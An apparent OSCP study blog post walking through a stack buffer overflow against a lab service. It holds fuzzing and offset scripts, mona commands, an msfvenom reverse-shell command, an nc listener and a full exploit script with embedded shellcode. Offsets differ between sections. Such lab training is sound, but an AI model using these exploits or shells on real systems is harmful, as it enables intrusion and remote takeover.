Published on

OSCP Buffer overflow guide

Authors
  • avatar
    Name
    Lumy
    Twitter

OSCP

BufferOverflow

A → Offset, B → EIP, \x90*16 → Nop sleed

Fuzzing

Objective: Determine after how many characters (approximately) the application crashes:

#!/usr/bin/python
import sys, socket
from time import sleep

buffer = "A" * 100
IP = "192.168.1.48"
PORT = 1337


while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((IP,PORT))
        	print("Sending: %s" % str(len(buffer)))
                s.send(("OVERFLOW1 " + buffer))
                s.close()
                sleep(4)
                buffer = buffer + "A" * 100

        except:
                print("Crushed at %s bytes" % str(len(buffer)))
                sys.exit()

This part is optional; for the OSCP, the trick is to go directly to the next offset determination part, with 4000 chars for example.

Offset

Determine exactly at which char the application crashes

msf-pattern_create -l 4000 #Value found during fuzzing

Script :

#!/usr/bin/python
import socket

IP = "192.168.1.10"
PORT = 1337

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
print("Sending: %s" % str(len(buffer)))
s.send(("OVERFLOW1 " + buffer))
s.close()

# Adress 35724134 --> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 --> offset = 524

Bad chars

Work environment configuration :

!mona config -set workingfolder c:\mona\%p

Creation of a bytearray (without the nullbyte)

!mona bytearray -b "\x00"

Script :

import socket

Offset = 524

buffer = "A" * Offset + "B" * 4

bad = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload = buffer + bad

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.10.10',1337))
s.send(("OVERFLOW1 " + payload))
s.close()
!mona compare -f C:\mona\oscp\bytearray.bin -a <AdressEIPImmunity>

Take the first bad char from the list, delete it from the script and rerun this section until the program returns no more bad chars.

Jump point

!mona jmp -r esp -cpb "\x00\x0d"

The address is in little endian, so take the pair of bytes from right to left.

Reverse shell

Reverse shell creation

msfvenom -p windows/shell_reverse_tcp LHOST=IP_Local LPORT=PORT_Local EXITFUNC=thread -f c -a x86 -b "\x00\x0d" #List of bad chars found previously

Set up the listener on the attacking machine :

nc -nlvp Port_Local

Exploitation script :

#!/usr/bin/python
import socket

Offset = 1876
JMP = "\x83\x66\x52\x56"

buffer = "A" * Offset + JMP + "\x90" * 16
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.11 LPORT=443 EXITFUNC=thread -f c -a x86 -b "\x00\x0d"
shell = ("\xdb\xc0\xd9\x74\x24\xf4\x58\x29\xc9\xbe\xf1\xee\xbc\x86\xb1"
"\x52\x31\x70\x17\x03\x70\x17\x83\x19\x12\x5e\x73\x25\x03\x1d"
"\x7c\xd5\xd4\x42\xf4\x30\xe5\x42\x62\x31\x56\x73\xe0\x17\x5b"
"\xf8\xa4\x83\xe8\x8c\x60\xa4\x59\x3a\x57\x8b\x5a\x17\xab\x8a"
"\xd8\x6a\xf8\x6c\xe0\xa4\x0d\x6d\x25\xd8\xfc\x3f\xfe\x96\x53"
"\xaf\x8b\xe3\x6f\x44\xc7\xe2\xf7\xb9\x90\x05\xd9\x6c\xaa\x5f"
"\xf9\x8f\x7f\xd4\xb0\x97\x9c\xd1\x0b\x2c\x56\xad\x8d\xe4\xa6"
"\x4e\x21\xc9\x06\xbd\x3b\x0e\xa0\x5e\x4e\x66\xd2\xe3\x49\xbd"
"\xa8\x3f\xdf\x25\x0a\xcb\x47\x81\xaa\x18\x11\x42\xa0\xd5\x55"
"\x0c\xa5\xe8\xba\x27\xd1\x61\x3d\xe7\x53\x31\x1a\x23\x3f\xe1"
"\x03\x72\xe5\x44\x3b\x64\x46\x38\x99\xef\x6b\x2d\x90\xb2\xe3"
"\x82\x99\x4c\xf4\x8c\xaa\x3f\xc6\x13\x01\xd7\x6a\xdb\x8f\x20"
"\x8c\xf6\x68\xbe\x73\xf9\x88\x97\xb7\xad\xd8\x8f\x1e\xce\xb2"
"\x4f\x9e\x1b\x14\x1f\x30\xf4\xd5\xcf\xf0\xa4\xbd\x05\xff\x9b"
"\xde\x26\xd5\xb3\x75\xdd\xbe\x7b\x21\xce\x25\x14\x30\xf0\x58"
"\x5f\xbd\x16\x30\x8f\xe8\x81\xad\x36\xb1\x59\x4f\xb6\x6f\x24"
"\x4f\x3c\x9c\xd9\x1e\xb5\xe9\xc9\xf7\x35\xa4\xb3\x5e\x49\x12"
"\xdb\x3d\xd8\xf9\x1b\x4b\xc1\x55\x4c\x1c\x37\xac\x18\xb0\x6e"
"\x06\x3e\x49\xf6\x61\xfa\x96\xcb\x6c\x03\x5a\x77\x4b\x13\xa2"
"\x78\xd7\x47\x7a\x2f\x81\x31\x3c\x99\x63\xeb\x96\x76\x2a\x7b"
"\x6e\xb5\xed\xfd\x6f\x90\x9b\xe1\xde\x4d\xda\x1e\xee\x19\xea"
"\x67\x12\xba\x15\xb2\x96\xda\xf7\x16\xe3\x72\xae\xf3\x4e\x1f"
"\x51\x2e\x8c\x26\xd2\xda\x6d\xdd\xca\xaf\x68\x99\x4c\x5c\x01"
"\xb2\x38\x62\xb6\xb3\x68"
)

payload = buffer + shell

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.10.10',1337))
s.send(("OVERFLOW1 " + payload))
s.close()

Lab IPs resolved

  • 10.11.1.101
  • 10.11.1.116
  • 10.11.1.128
  • 10.11.1.13
  • 10.11.1.141
  • 10.11.1.14
  • 10.11.1.209
  • 10.11.1.217
  • 10.11.1.222
  • 10.11.1.231
  • 10.11.1.234
  • 10.11.1.251
  • 10.11.1.252
  • 10.11.1.31
  • 10.11.1.35
  • 10.11.1.39
  • 10.11.1.71
  • 10.11.1.72
  • 10.11.1.73
  • 10.11.1.8

Ressources

OSCP Cheatsheet